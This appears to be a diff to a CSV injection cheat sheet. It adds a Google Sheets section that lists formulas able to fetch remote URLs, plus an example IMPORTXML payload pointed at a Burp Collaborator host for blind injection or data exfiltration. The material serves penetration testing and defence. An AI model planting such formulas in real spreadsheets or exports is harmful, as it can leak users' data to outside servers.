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csv injection: google sheets formulas
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## Summary
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* [Methodology](#methodology)
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* [Google Sheets](#google-sheets)
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* [References](#references)
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@ -60,6 +61,23 @@ Technical details of the above payloads:
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- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
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- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
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### Google Sheets
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Google Sheets allows some additionnal formulas that are able to fetch remote URLs:
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* [IMPORTXML](https://support.google.com/docs/answer/3093342?hl=en)(url, xpath_query, locale)
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* [IMPORTRANGE](https://support.google.com/docs/answer/3093340)(spreadsheet_url, range_string)
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* [IMPORTHTML](https://support.google.com/docs/answer/3093339)(url, query, index)
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* [IMPORTFEED](https://support.google.com/docs/answer/3093337)(url, [query], [headers], [num_items])
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* [IMPORTDATA](https://support.google.com/docs/answer/3093335)(url)
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So one can test blind formula injection or a potential for data exfiltration with:
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```
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=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")
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```
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Note: an alert will warn the user a formula is trying to contact an external ressource and ask for authorization.
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## References
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@ -69,4 +87,4 @@ Technical details of the above payloads:
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- [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
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- [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
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- [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
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- [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)
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- [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)
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